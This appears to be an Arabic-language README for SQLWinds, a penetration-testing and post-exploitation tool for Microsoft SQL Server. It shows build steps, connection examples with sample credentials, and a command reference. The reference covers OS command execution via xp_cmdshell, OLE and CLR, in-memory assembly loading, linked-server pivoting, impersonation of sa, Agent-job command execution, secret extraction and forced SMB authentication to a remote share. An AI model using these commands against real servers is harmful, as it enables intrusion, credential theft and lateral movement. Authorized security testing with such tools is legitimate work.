
SQLWinds - مجموعة أدوات تقييم أمان SQL Server والاستغلال ما بعد الاختراق
أداة تقييم أمان SQL وأداة ما بعد الاستغلال
SQLWinds هي أداة سطر أوامر لاختبار الأمان واستغلال Microsoft SQL Server. وهي توفر بيئة تفاعلية لتحليل الخوادم بعمق، وتصعيد الصلاحيات، وتنفيذ الهجمات، والتنقل عبر الشبكات باستخدام أوامر متخصصة لمهام مثل تنفيذ الكود في الذاكرة واستكشاف قاعدة بيانات SCCM.
روابط سريعة:
--integrated)، وتفويض Kerberos (--kerberos مع --user/--pass).xp_cmdshell، وإجراءات OLE Automation (sp_oacreate)، وتكامل CLR.:memclr).:unc_smb).xp_regread.يحتوي المستودع على سكربت build.bat للترجمة بسهولة على Windows:
.\build.bat
سيتم وضع الملف التنفيذي SQLWinds.exe المترجم في مجلد bin\Release\.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# مصادقة SQL
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# مصادقة Windows (سياق المستخدم الحالي)
SQLWinds.exe --server sql01.corp.local --integrated
# تفويض Kerberos (مع توفير بيانات الاعتماد)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# الاتصال وتنفيذ أمر واحد
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
| الخيار | الوصف |
|---|---|
--server | الخادم الهدف (IP، اسم المضيف، مثيل). مطلوب. |
--user, --pass | بيانات الاعتماد لمصادقة SQL أو Windows. |
--integrated | استخدام رمز Windows الحالي للمصادقة. |
--kerberos | استخدام تدفق مصادقة Kerberos. |
--spn-check | التحقق من AD بحثًا عن SPNs للمضيف الهدف. |
--run-cmd "<SQL>" | تنفيذ أمر SQL واحد ثم الخروج. |
--run-file file.sql | تنفيذ سكربت SQL من ملف ثم الخروج. |
--info | جمع وعرض معلومات موسعة عن الخادم. |
--getinstance | اكتشاف مثيلات SQL في المجال ثم الخروج. |
--list-dbs | سرد قواعد البيانات ثم الخروج. |
--security-audit | إجراء تدقيق أمني ثم الخروج. |
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
| الأمر | الوصف | مثال |
|---|---|---|
:info | عرض معلومات مفصلة عن الخادم | :info |
:dbs | سرد جميع قواعد البيانات مع التفاصيل | :dbs |
:tables [db] [schema] | سرد الجداول في قاعدة بيانات/مخطط | :tables master dbo |
:columns <table> [schema] [db] | سرد الأعمدة لجدول | :columns Users dbo MyDatabase |
:users | سرد جميع عمليات تسجيل دخول SQL ومستخدمي قواعد البيانات | :users |
:perms | عرض صلاحيات المستخدم الحالي | :perms |
:audit | إجراء تدقيق إعدادات الأمان | :audit |
:search [term] | البحث عن بيانات حساسة | :search password |
:secrets | استخراج الأسرار المحتملة | :secrets |
:services | عرض حسابات خدمة SQL Server | :services |
:spn | التحقق من SPNs للمضيف الهدف | :spn |
:enable_xp_cmdshell | تمكين xp_cmdshell | :enable_xp_cmdshell |
:disable_xp_cmdshell | تعطيل xp_cmdshell | :disable_xp_cmdshell |
:xp <command> | تشغيل أمر نظام عبر xp_cmdshell | :xp whoami |
:enable_ole | تمكين OLE Automation | :enable_ole |
:disable_ole | تعطيل OLE Automation | :disable_ole |
:ole_cmd <command> | تشغيل أمر نظام عبر OLE | :ole_cmd "calc.exe" |
:enable_clr | تمكين تكامل CLR | :enable_clr |
:disable_clr | تعطيل تكامل CLR | :disable_clr |
:deploy-clr <path> | نشر تجميع CLR من ملف | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | سرد تجميعات CLR المنشورة | :list-assemblies |
:clr_exec | تنفيذ أسلوب CLR | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | تنفيذ تجميع CLR من الذاكرة | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | إزالة تجميع CLR | :remove-assembly MyAssembly |
:list_linkservers | سرد الخوادم المرتبطة | :list_linkservers |
:linkrpc <srv> <cmd> | تنفيذ أمر عبر خادم مرتبط | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | انتحال صفة تسجيل دخول SQL | :impersonate sa |
:revert | التراجع عن سياق الأمان | :revert |
:agent_job | إدارة وظائف SQL Agent | :agent_job create MyJob "whoami" |
:ls [path] | سرد مجلد عبر SQL | :ls C:\Windows\Temp |
:unc_smb <path> | فرض مصادقة SMB إلى UNC | :unc_smb \\192.168.1.100\share |
:plain | لصق سكربتات SQL كبيرة | (انظر المثال أدناه) |
:regread | قراءة قيمة سجل | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | سرد جميع القيم في مفتاح | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | رفع ملف إلى جدول | :upload C:\file.txt MyTable |
:download | تنزيل بيانات ثنائية من استعلام | :download "SELECT file FROM blobs" out.bin |
:exportcsv | تصدير استعلام إلى CSV | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | تصدير استعلام إلى JSON | :exportjson "SELECT * FROM users" out.json |
:sccm_info | اكتشاف قاعدة بيانات SCCM | :sccm_info |
:sccm_inventory | عرض جرد SCCM | :sccm_inventory |
:sccm_collections | سرد مجموعات SCCM | :sccm_collections "All Systems" |
:sccm_deployments | عرض النشرات | :sccm_deployments |
:sccm_clients | سرد العملاء | :sccm_clients inactive |
:sccm_audit | تدقيق أمان SCCM | :sccm_audit |
:sccm_application | عرض تفاصيل التطبيق | :sccm_application "Google Chrome" |
help | عرض المساعدة | help |
exit | الخروج من REPL | exit |
:plain للسكربتات الكبيرةيعد أمر :plain ضروريًا لتنفيذ سكربتات SQL الكبيرة متعددة الأسطر.